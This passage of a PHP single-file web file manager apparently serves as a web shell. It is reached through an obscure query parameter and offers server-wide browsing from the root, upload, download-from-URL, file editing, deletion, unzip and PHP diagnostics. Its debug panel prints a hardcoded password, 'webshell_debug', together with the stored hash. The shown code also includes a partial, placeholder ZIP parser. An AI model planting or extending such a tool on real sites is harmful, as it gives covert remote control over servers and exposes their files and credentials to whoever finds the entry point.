$this->messages[] = "Failed to create directory for (zlib - stored): " . $filename;
}
} elseif (substr($filename, -1) === '/') { // It's a directory entry
$target_dir_path = rtrim($destination_path, '/\\\\') . DIRECTORY_SEPARATOR . $filename;
if ($this->ensureDirectoryExists($target_dir_path)) {
$this->messages[] = "Created directory (zlib - first entry): " . $filename;
} else {
$this->messages[] = "Failed to create directory (zlib): " . $filename;
}
} else {
$this->messages[] = "Unsupported compression method ({$unpack_data['compression_method']}) or empty file (zlib - first file only): " . $filename;
}
} else {
$this->messages[] = "Could not read first local file header or not a PK\\03\\04 ZIP entry.";
}
fclose($fh);
return $file_count > 0;
}
// Placeholder for finding the Central Directory. This is crucial for multi-file ZIPs.
// A proper implementation would scan from the end of the file for the EOCD record.
private function findCentralDirectory($fh) {
// This is a very simplified check and not a full EOCD search.
// A real implementation needs to search backwards for PK\\05\\06 signature.
// For now, we assume it's a simple zip if we can read from it.
// This method needs to be properly implemented to parse the Central Directory
// to get file offsets, counts, etc. for robust multi-file extraction.
// The iansltx gist and PHP manual note focus on local file headers, not the CD.
// Seek to where End of Central Directory Record (EOCD) might be (common case, no comment)
// ZIP EOCD record is typically at the end, its size is at least 22 bytes.
$eocd_min_size = 22;
fseek($fh, -$eocd_min_size, SEEK_END);
$eocd_data = fread($fh, $eocd_min_size);
if (substr($eocd_data, 0, 4) == "\x50\x4b\x05\x06") { // EOCD signature
// $eocd_values = unpack('vdisk_number/vdisk_with_cd_start/vnum_entries_this_disk/vtotal_num_entries/Vcd_size/Vcd_offset/vzip_comment_length', substr($eocd_data, 4));
// $this->messages[] = "Found EOCD: " . $eocd_values['total_num_entries'] . " entries.";
// This is a placeholder - proper parsing of EOCD is needed.
return true; // Found EOCD signature (simplified)
}
// Try a bit further back in case of a ZIP comment
fseek($fh, -1024, SEEK_END); // Check last 1KB for EOCD
$data_chunk = fread($fh, 1024);
$eocd_pos = strrpos($data_chunk, "\x50\x4b\x05\x06");
if ($eocd_pos !== false) {
// $this->messages[] = "Found EOCD signature in last 1KB.";
return true;
}
$this->messages[] = "Warning: Could not reliably find EOCD record. Fallback may be unreliable for multi-file archives.";
return true; // Allow to proceed, but it will likely only get the first file.
}
private function ensureDirectoryExists($directoryPath) {
if (!is_dir($directoryPath)) {
if (!mkdir($directoryPath, 0755, true)) { // Recursive directory creation
$this->messages[] = "Error: Failed to create directory: " . $directoryPath;
return false;
}
}
return true;
}
}
// END OF NEW ZLIB UNZIPPER CLASS
// Handle unzip operation
if (isset($_POST['unzip']) && isset($_POST['selected_files'])) {
$selected_files = $_POST['selected_files'];
$unzip_messages = array();
$unzip_performed_count = 0;
foreach ($selected_files as $file) {
$file_basename = basename($file); // Original name for messages
$zip_file_full_path = $full_path . DIRECTORY_SEPARATOR . $file_basename;
$extract_to_path = $full_path . DIRECTORY_SEPARATOR;
$extracted_this_file_successfully = false;
$attempted_methods_log = array(); // Log attempts for better messaging
if (file_exists($zip_file_full_path) && is_file($zip_file_full_path) && strtolower(pathinfo($zip_file_full_path, PATHINFO_EXTENSION)) === 'zip') {
// Method 1: ZipArchive
if (class_exists('ZipArchive')) {
$attempted_methods_log[] = 'ZipArchive';
$zip = new ZipArchive;
if ($zip->open($zip_file_full_path) === TRUE) {
if ($zip->extractTo($extract_to_path)) {
$unzip_messages[] = "Successfully extracted (ZipArchive): '$file_basename'";
$extracted_this_file_successfully = true;
} else {
$unzip_messages[] = "Failed to extract (ZipArchive): '$file_basename' - Check permissions or archive integrity.";
}
$zip->close();
} else {
$unzip_messages[] = "Failed to open (ZipArchive): '$file_basename'. Might be corrupted or not a valid ZIP.";
}
}
// Method 2: SimpleZlibUnzipper (if ZipArchive failed or was unavailable)
if (!$extracted_this_file_successfully && function_exists('gzinflate')) {
$attempted_methods_log[] = 'SimpleZlibUnzipper (gzinflate)';
if (!class_exists('ZipArchive')) {
$unzip_messages[] = "Notice: ZipArchive class not found. Attempting fallback for '$file_basename' using zlib.";
}
$simpleUnzipper = new SimpleZlibUnzipper($zip_file_full_path);
if ($simpleUnzipper->extractTo($extract_to_path)) {
$unzip_messages[] = "Partially extracted (zlib fallback for '$file_basename'). First entry possibly extracted.";
$extracted_this_file_successfully = true;
}
$zlib_messages = $simpleUnzipper->getMessages();
foreach ($zlib_messages as $z_msg) {
if (strpos($z_msg, "(simulated)") === false && strpos($z_msg, "SimpleZlibUnzipper initialized") === false) {
$unzip_messages[] = "[zlib-'$file_basename']: " . $z_msg;
}
}
if (!$extracted_this_file_successfully && count($zlib_messages) === 0) {
$unzip_messages[] = "[zlib-'$file_basename']: Failed. Ensure zlib enabled and file is readable/valid for this basic method.";
}
}
// Final status for this file
if ($extracted_this_file_successfully) {
$unzip_performed_count++;
} else {
$unzip_messages[] = "---------------------------------------------------------------------";
$unzip_messages[] = "All unzip methods FAILED for file: '$file_basename'.";
$unzip_messages[] = "Attempted methods: " . implode(', ', $attempted_methods_log);
if (!class_exists('ZipArchive')) {
$unzip_messages[] = " - Diagnosis: ZipArchive class (zip extension) is NOT available to PHP.";
}
if (!function_exists('gzinflate')) {
$unzip_messages[] = " - Diagnosis: gzinflate function (zlib extension) is NOT available to PHP.";
}
$unzip_messages[] = " RECOMMENDATIONS:";
$unzip_messages[] = " 1. BEST OPTION: Enable the 'zip' PHP extension in your server's php.ini (`extension=zip.so`) and restart your web server. This provides the reliable `ZipArchive` class.";
$unzip_messages[] = " 2. Ensure the 'zlib' PHP extension is enabled (for basic `gzinflate` fallback).";
$unzip_messages[] = " 3. Verify the file '$file_basename' is a valid, non-corrupted ZIP archive.";
$unzip_messages[] = "---------------------------------------------------------------------";
}
} else {
$unzip_messages[] = "'$file_basename' is not a valid zip file, does not exist, or is not a .zip file.";
}
}
if (!empty($unzip_messages)) {
$_SESSION['unzip_messages'] = $unzip_messages;
}
header('Location: ' . build_url($current_path));
exit;
}
// Check if we need to update PHP file visibility
if (isset($_GET['show_php'])) {
$_SESSION['show_php_files'] = true;
header('Location: ' . build_url($current_path));
exit;
} else if (isset($_GET['hide_php'])) {
$_SESSION['show_php_files'] = false;
header('Location: ' . build_url($current_path));
exit;
}
// Use the session value if set
if (isset($_SESSION['show_php_files'])) {
$show_php_files = $_SESSION['show_php_files'];
}
// Create new file
if (isset($_POST['create_file']) && $allow_upload) { // Reusing allow_upload for permission
// Check protection mode
if (is_monitoring_protection_active($monitor_status_file, $full_path)) {
$_SESSION['file_action_error'] = "File creation blocked: Protection mode is active for this monitored folder. Disable monitoring or turn off protection mode to create files.";
header('Location: ' . build_url($current_path));
exit;
}
$new_filename = isset($_POST['new_filename']) ? trim($_POST['new_filename']) : '';
$new_filename = basename($new_filename); // Sanitize: remove path components
$new_filename = preg_replace("/[^a-zA-Z0-9._-]/", "", $new_filename); // Sanitize: remove invalid characters
if (!empty($new_filename)) {
$new_file_path = $full_path . DIRECTORY_SEPARATOR . $new_filename;
if (!file_exists($new_file_path)) {
if (file_put_contents($new_file_path, '') !== false) {
$_SESSION['file_action_success'] = "File '" . htmlspecialchars($new_filename) . "' created successfully.";
} else {
$_SESSION['file_action_error'] = "Error creating file '" . htmlspecialchars($new_filename) . "'. Check permissions for: " . htmlspecialchars($full_path);
}
} else {
$_SESSION['file_action_error'] = "File or folder named '" . htmlspecialchars($new_filename) . "' already exists.";
}
} else {
$_SESSION['file_action_error'] = "Invalid or empty filename provided.";
}
header('Location: ' . build_url($current_path)); // Redirect to refresh and show messages
exit;
}
// Improve navigation when in server root or absolute paths
if ($is_absolute_path && !empty($current_path)) {
// Ensure that when we're at root, we properly handle subdirectory navigation
foreach ($items as &$item) {
if ($item['is_dir']) {
// $current_path is already the canonical absolute path here
$item['path'] = rtrim($current_path, '/\\\\') . DIRECTORY_SEPARATOR . $item['name'];
// Normalize to forward slashes for URLs
$item['path'] = str_replace(DIRECTORY_SEPARATOR, '/', $item['path']);
}
}
unset($item); // Unset reference
}
// Debug info to help troubleshoot navigation issues
$_SESSION['navigation_debug'] = array(
'requested_path' => $requested_path,
'processed_path' => $current_path,
'is_absolute' => $is_absolute_path ? 'Yes' : 'No',
'full_system_path' => $full_path,
'script_directory' => $script_dir,
'parent_path' => $parent_path,
'show_parent_link' => $show_parent_link ? 'Yes' : 'No',
'item_count' => count($items)
);
// Show webpage
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>File Manager (Fixed)</title>
<style>
body { font-family: Arial, sans-serif; margin: 0; padding: 20px; }
h1 { margin-top: 0; }
table { width: 100%; border-collapse: collapse; margin: 20px 0; }
th, td { text-align: left; padding: 8px; border-bottom: 1px solid #ddd; }
th { background-color: #f2f2f2; }
tr:hover { background-color: #f5f5f5; }
.breadcrumbs { margin-bottom: 20px; }
.breadcrumbs a { margin: 0 5px; }
.actions { margin: 20px 0; }
.actions form { display: inline-block; margin-right: 10px; }
.folder { font-weight: bold; }
.tools { background-color: #f8f8f8; padding: 10px; border-radius: 5px; margin-top: 20px; }
.header-container { display: flex; justify-content: space-between; align-items: center; }
.logout-btn {
background-color: #f8f8f8;
padding: 5px 10px;
text-decoration: none;
border: 1px solid #ddd;
border-radius: 3px;
color: #333;
}
.logout-btn:hover {
background-color: #f0f0f0;
}
.success-message {
background-color: #dff0d8;
color: #3c763d;
padding: 10px;
border-radius: 4px;
margin-bottom: 15px;
}
.error-message {
background-color: #f2dede;
color: #a94442;
padding: 10px;
border-radius: 4px;
margin-bottom: 15px;
}
.batch-actions {
margin-top: 10px;
padding: 10px;
background-color: #f9f9f9;
border-top: 1px solid #ddd;
}
button {
padding: 5px 10px;
background-color: #f0f0f0;
border: 1px solid #ddd;
border-radius: 3px;
cursor: pointer;
}
button:hover {
background-color: #e0e0e0;
}
.large-file-warning {
color: #856404;
font-size: 11px;
font-style: italic;
}
.very-large-file {
background-color: #fff3cd !important;
}
.file-size-indicator {
font-size: 11px;
padding: 2px 4px;
border-radius: 2px;
margin-left: 5px;
}
.size-large {
background-color: #fff3cd;
color: #856404;
}
.size-very-large {
background-color: #f8d7da;
color: #721c24;
}
.monitor-panel {
margin-top: 20px;
padding: 15px;
background-color: #f0f8ff;
border: 1px solid #b0d4f1;
border-radius: 5px;
}
.monitor-active {
background-color: #d4edda;
border-color: #c3e6cb;
}
.monitor-inactive {
background-color: #f8f9fa;
border-color: #dee2e6;
}
.monitor-button {
padding: 8px 15px;
border: none;
border-radius: 4px;
cursor: pointer;
font-weight: bold;
margin-right: 10px;
text-decoration: none;
display: inline-block;
}
.btn-start { background-color: #28a745; color: white; }
.btn-stop { background-color: #dc3545; color: white; }
.btn-check { background-color: #17a2b8; color: white; }
.btn-log { background-color: #6c757d; color: white; }
.monitor-button:hover { opacity: 0.8; }
</style>
</head>
<body>
<div class="header-container">
<h1>File Manager (Fixed)</h1>
<a href="?8a7fi=man&logout=1" class="logout-btn">Logout</a>
</div>
<div class="breadcrumbs">
<?php foreach ($breadcrumbs as $i => $crumb): ?>
<?php if ($i > 0): ?> » <?php endif; ?>
<a href="<?php echo build_url($crumb['path']); ?>"><?php echo htmlspecialchars($crumb['name']); ?></a>
<?php endforeach; ?>
<?php if ($show_parent_link): ?>
<span style="margin-left: 15px; color: #666; font-size: 12px;">
π <a href="<?php echo build_url($parent_path); ?>" style="color: #666;" title="Go to parent directory">β Up</a>
</span>
<?php endif; ?>
</div>
<?php if (isset($dir_error)): ?>
<div class="error-message">
<?php echo htmlspecialchars($dir_error); ?>
</div>
<?php endif; ?>
<div class="actions">
<?php if (isset($upload_message)): ?>
<div class="success-message">
<?php echo htmlspecialchars($upload_message); ?>
</div>
<?php endif; ?>
<?php if (isset($upload_error)): ?>
<div class="error-message">
<?php echo htmlspecialchars($upload_error); ?>
</div>
<?php endif; ?>
<?php if (isset($folder_message)): ?>
<div class="success-message">
<?php echo htmlspecialchars($folder_message); ?>
</div>
<?php endif; ?>
<?php if (isset($folder_error)): ?>
<div class="error-message">
<?php echo htmlspecialchars($folder_error); ?>
</div>
<?php endif; ?>
<?php if (isset($download_message)): ?>
<div class="success-message">
<?php echo htmlspecialchars($download_message); ?>
</div>
<?php endif; ?>
<?php if (isset($download_error)): ?>
<div class="error-message">
<?php echo htmlspecialchars($download_error); ?>
</div>
<?php endif; ?>
<?php if (isset($_SESSION['file_action_error'])) : ?>
<div class="error-message">
<?php echo $_SESSION['file_action_error']; unset($_SESSION['file_action_error']); ?>
</div>
<?php endif; ?>
<?php if (isset($_SESSION['file_action_success'])) : ?>
<div class="success-message">
<?php echo $_SESSION['file_action_success']; unset($_SESSION['file_action_success']); ?>
</div>
<?php endif; ?>
<?php if ($allow_create_folder): ?>
<form method="post" action="<?php echo build_url($current_path); ?>">
<input type="text" name="folder_name" placeholder="New Folder Name">
<input type="submit" name="create_folder" value="Create Folder">
</form>
<?php endif; ?>
<?php if ($allow_upload): // Reusing allow_upload for create file permission ?>
<form method="post" action="<?php echo build_url($current_path); ?>" style="margin-left: 10px; display: inline-block;">
<input type="text" name="new_filename" placeholder="New File Name">
<input type="submit" name="create_file" value="Create File">
</form>
<?php endif; ?>
<?php if ($allow_upload): ?>
<form method="post" enctype="multipart/form-data" action="<?php echo build_url($current_path); ?>">
<input type="file" name="upload_file">
<input type="submit" name="upload" value="Upload">
<span style="color: #888; font-size: 12px;">Max size: <?php echo format_size($MAX_UPLOAD_SIZE); ?></span>
</form>
<?php endif; ?>
<?php if ($allow_upload): // Re-using allow_upload for this feature ?>
<form method="post" action="<?php echo build_url($current_path); ?>" style="margin-top: 10px;">
<input type="text" name="url_to_download" placeholder="URL to download" style="width: 300px;">
<input type="text" name="download_filename" placeholder="Save as (optional)">
<input type="submit" name="download_from_url" value="Download from URL">
</form>
<?php endif; ?>
<!-- Folder Monitoring System -->
<?php
$monitor_status = get_monitor_status($monitor_status_file);
// Only run automatic checks periodically, not on every page load
$recent_changes = array();
if ($monitor_status['active']) {
if (should_run_automatic_check($monitor_status_file, 60)) { // Check every 1 minute for UI updates
$recent_changes = check_changes($monitor_status['path'], $monitor_baseline_file, $monitor_log_file, false, true);
} else {
// Just get the count without logging for UI display
$recent_changes = check_changes($monitor_status['path'], $monitor_baseline_file, $monitor_log_file, false, false);
}
}
?>
<div class="monitor-panel <?php echo $monitor_status['active'] ? 'monitor-active' : 'monitor-inactive'; ?>">
<h3 style="margin-top: 0; color: #2c5aa0;">π Folder Monitoring System</h3>
<?php if ($monitor_status['active']): ?>
<div style="color: #28a745; font-weight: bold; margin-bottom: 15px;">
β
Monitoring Active: <?php echo htmlspecialchars($monitor_status['path']); ?>
<br><small>Started: <?php echo date('Y-m-d H:i:s', $monitor_status['started']); ?></small>
<?php
$last_check_file = dirname($monitor_status_file) . DIRECTORY_SEPARATOR . '.last_auto_check';
if (file_exists($last_check_file)) {
$last_check = (int)@file_get_contents($last_check_file);
if ($last_check > 0) {
echo '<br><small>Last Auto Check: ' . date('Y-m-d H:i:s', $last_check) . '</small>';
}
}
?>
<?php if (!empty($recent_changes)): ?>
<br><span style="color: #dc3545;">β οΈ <?php echo count($recent_changes); ?> recent changes detected!</span>
<?php endif; ?>
</div>
<form method="post" action="<?php echo build_url($current_path); ?>" style="display: inline-block;">
<button type="submit" name="stop_monitor" class="monitor-button btn-stop">Stop Monitoring</button>
</form>
<form method="post" action="<?php echo build_url($current_path); ?>" style="display: inline-block;">
<button type="submit" name="check_monitor" class="monitor-button btn-check">Check Now</button>
</form>
<a href="<?php echo build_url($current_path) . '&view_monitor_log=1'; ?>" class="monitor-button btn-log">View Log</a>
<form method="post" action="<?php echo build_url($current_path); ?>" style="display: inline-block;">
<button type="submit" name="clear_monitor_log" class="monitor-button" style="background-color: #6c757d; color: white;" onclick="return confirm('Are you sure you want to clear the monitoring log?');">Clear Log</button>
</form>
<?php else: ?>
<div style="color: #6c757d; margin-bottom: 15px;">
βΈοΈ Monitoring Inactive
</div>
<form method="post" action="<?php echo build_url($current_path); ?>" style="display: inline-block;">
<label style="margin-right: 15px; display: inline-block;">
<input type="checkbox" name="enable_protection" style="margin-right: 5px;">
Enable Protection Mode
</label>
<button type="submit" name="start_monitor" class="monitor-button btn-start">Start Monitoring</button>
</form>
<div style="margin-top: 15px; font-size: 12px; color: #6c757d; background: rgba(255,255,255,0.7); padding: 10px; border-radius: 3px;">
<strong>Current Folder:</strong> <?php echo htmlspecialchars($full_path); ?>
<br><strong>Features:</strong> File change detection, Hash verification, Activity logging
<br><strong>Protection Mode:</strong> Blocks all file operations (upload, delete, edit, create) in monitored folder
</div>
<?php endif; ?>
</div>
</div>
<table>
<thead>
<tr>
<th><input type="checkbox" id="select-all" onclick="toggleAllFiles()"></th>
<th>Name</th>
<th>Size</th>
<th>Modified</th>
<th>Permissions</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<?php if ($show_parent_link): ?>
<tr>
<td></td>
<td colspan="5">
<a href="<?php echo build_url($parent_path); ?>" title="Go to parent directory">..</a>
<?php if ($parent_path !== ''): ?>
<span style="color:#888;font-size:11px;margin-left:10px;">(<?php echo $is_absolute_path || $parent_path[0] === '/' ? htmlspecialchars($parent_path) : 'Parent directory'; ?>)</span>
<?php endif; ?>
</td>
</tr>
<?php endif; ?>
<?php
// Debug info to help troubleshoot navigation issues (set after $show_parent_link is calculated)
$_SESSION['navigation_debug'] = array(
'requested_path' => $requested_path,
'processed_path' => $current_path,
'is_absolute' => $is_absolute_path ? 'Yes' : 'No',
'full_system_path' => $full_path,
'script_directory' => $script_dir,
'parent_path' => $parent_path,
'show_parent_link' => $show_parent_link ? 'Yes' : 'No',
'item_count' => count($items)
);
?>
<form method="post" action="<?php echo build_url($current_path); ?>" id="files-form">
<?php foreach ($items as $item): ?>
<?php
// Determine if file is large and get appropriate styling
$row_class = '';
$size_indicator = '';
$file_path_for_check = $full_path . DIRECTORY_SEPARATOR . $item['name'];
if (!$item['is_dir'] && $item['size'] > 0) {
if ($item['size'] > MAX_VIEWABLE_FILE_SIZE) {
$row_class = 'very-large-file';
$size_indicator = '<span class="file-size-indicator size-very-large">Very Large</span>';
} else if ($item['size'] > MAX_EDITABLE_FILE_SIZE) {
$size_indicator = '<span class="file-size-indicator size-large">Large</span>';
}
}
?>
<tr<?php echo $row_class ? ' class="' . $row_class . '"' : ''; ?>>
<td>
<input type="checkbox" name="selected_files[]" value="<?php echo htmlspecialchars($item['name']); ?>" class="file-checkbox">
</td>
<td>
<?php if ($item['is_dir']): ?>
<span class="folder">
π <a href="<?php echo build_url($item['path']); ?>"><?php echo htmlspecialchars($item['name']); ?></a>
</span>
<?php else: ?>
<?php echo get_file_icon($item['name']); ?> <?php echo htmlspecialchars($item['name']); ?><?php echo $size_indicator; ?>
<?php endif; ?>
</td>
<td>
<?php if ($item['is_dir']): ?>
-
<?php else: ?>
<?php echo format_size($item['size']); ?>
<?php if ($item['size'] > MAX_VIEWABLE_FILE_SIZE): ?>
<div class="large-file-warning">β οΈ Too large to view safely</div>
<?php elseif ($item['size'] > MAX_EDITABLE_FILE_SIZE): ?>
<div class="large-file-warning">β οΈ Too large to edit safely</div>
<?php endif; ?>
<?php endif; ?>
</td>
<td><?php echo $item['modified']; ?></td>
<td><?php echo $item['permissions']; ?></td>
<td>
<?php if ($allow_delete): ?>
<button type="submit" name="delete" value="<?php echo htmlspecialchars($item['name']); ?>" onclick="return confirm('Are you sure you want to delete this item?');">Delete</button>
<?php endif; ?>
<?php if (!$item['is_dir']): // Add view link for files ?>
<a href="<?php echo build_url($current_path) . '&view_file=' . urlencode($item['name']); ?>" style="margin-left:5px;">View</a>
<?php if (is_writable($file_path_for_check) && $item['size'] <= MAX_EDITABLE_FILE_SIZE): ?>
<a href="<?php echo build_url($current_path) . '&edit_file=' . urlencode($item['name']); ?>" style="margin-left:5px;">Edit</a>
<?php elseif (is_writable($file_path_for_check)): ?>
<span style="color:#999;margin-left:5px;" title="File too large to edit safely">(Edit disabled)</span>
<?php endif; ?>
<?php endif; ?>
</td>
</tr>
<?php endforeach; ?>
<?php if (!empty($items)): ?>
<tr>
<td colspan="6">
<div class="batch-actions">
<button type="submit" name="unzip">Unzip Selected</button>
</div>
</td>
</tr>
<?php endif; ?>
</form>
</tbody>
</table>
<?php if (isset($unzip_messages) && !empty($unzip_messages)): ?>
<div class="success-message">
<strong>Unzip Results:</strong>
<ul>
<?php foreach ($unzip_messages as $msg): ?>
<li><?php echo htmlspecialchars($msg); ?></li>
<?php endforeach; ?>
</ul>
</div>
<?php endif; ?>
<p><i>Server: <?php echo htmlspecialchars($_SERVER['SERVER_SOFTWARE']); ?> | PHP: <?php echo PHP_VERSION; ?></i></p>
<p><i>Current Path: <?php echo htmlspecialchars($full_path); ?></i></p>
<p><i>Script Directory: <?php echo htmlspecialchars($script_dir); ?></i></p>
<?php if (isset($_SESSION['navigation_debug'])): ?>
<div style="margin-top: 20px; border: 1px solid #ddd; padding: 10px; background-color: #f9f9f9;">
<h4>Navigation Debug Info:</h4>
<ul>
<li>Requested Path: <?php echo htmlspecialchars($_SESSION['navigation_debug']['requested_path']); ?></li>
<li>Processed Path: <?php echo htmlspecialchars($_SESSION['navigation_debug']['processed_path']); ?></li>
<li>Is Absolute Path: <?php echo htmlspecialchars($_SESSION['navigation_debug']['is_absolute']); ?></li>
<li>System Path: <?php echo htmlspecialchars($_SESSION['navigation_debug']['full_system_path']); ?></li>
<li>Script Directory: <?php echo htmlspecialchars($_SESSION['navigation_debug']['script_directory']); ?></li>
<li>Parent Path: <?php echo htmlspecialchars($_SESSION['navigation_debug']['parent_path']); ?></li>
<li>Show Parent Link: <?php echo htmlspecialchars($_SESSION['navigation_debug']['show_parent_link']); ?></li>
<li>Items in Directory: <?php echo (int)$_SESSION['navigation_debug']['item_count']; ?></li>
</ul>
</div>
<?php endif; ?>
<div class="tools">
<h3>Diagnostic Tools</h3>
<ul>
<li><a href="?8a7fi=man&diagnostics=1">Show PHP Diagnostics</a> - Display PHP configuration and environment information</li>
<li><a href="?8a7fi=man&ip_debug=1">IP Address Debug</a> - Debug IP detection and show all network headers</li>
<li><a href="?8a7fi=man&debug=1">Debug Mode</a> - Show PHP errors and warnings</li>
<li><a href="?8a7fi=man&path=<?php echo urlencode('/'); ?>">Go to Server Root</a> - Navigate to server root directory</li>
<?php if ($show_parent_link): ?>
<li><a href="<?php echo build_url($parent_path); ?>">Go Up One Level</a> - Navigate to parent directory</li>
<?php endif; ?>
<li><a href="?8a7fi=man&logout=1">Logout</a> - End the current session</li>
<?php if($show_php_files): ?>
<li><a href="?8a7fi=man&path=<?php echo urlencode($current_path); ?>&hide_php=1">Hide PHP Files</a> - Hide PHP files in directory listings</li>
<?php else: ?>
<li><a href="?8a7fi=man&path=<?php echo urlencode($current_path); ?>&show_php=1">Show PHP Files</a> - Show PHP files in directory listings</li>
<?php endif; ?>
</ul>
<h4>File Size Limits (Memory Protection)</h4>
<ul>
<li><strong>Max Viewable:</strong> <?php echo format_size(MAX_VIEWABLE_FILE_SIZE); ?> - Files larger than this will be truncated when viewed</li>
<li><strong>Max Editable:</strong> <?php echo format_size(MAX_EDITABLE_FILE_SIZE); ?> - Files larger than this cannot be edited to prevent memory issues</li>
<li><strong>Current Memory:</strong> <?php $mem = get_memory_info(); echo format_size($mem['current']) . ' / ' . format_size($mem['limit_bytes']); ?></li>
</ul>
<?php if($debug_login): ?>
<div style="margin-top:15px;padding:8px;background:#ffffd0;border:1px solid #e0e0a0;border-radius:4px;">
<p><strong>Debug Mode Active</strong></p>
<p>Debug password: <code>webshell_debug</code></p>
<p>Stored hash: <code><?php echo htmlspecialchars($stored_hash); ?></code></p>
<p>PHP Version: <?php echo phpversion(); ?></p>
<p>Using <?php echo function_exists('password_verify') ? 'modern password_verify()' : 'secure SHA-256 salted hash fallback'; ?></p>
</div>
<?php endif; ?>
</div>
<script type="text/javascript">
function toggleAllFiles() {
var checkboxes = document.getElementsByClassName('file-checkbox');
var selectAllCheckbox = document.getElementById('select-all');
for (var i = 0; i < checkboxes.length; i++) {
checkboxes[i].checked = selectAllCheckbox.checked;
}
}
</script>
</body>
</html>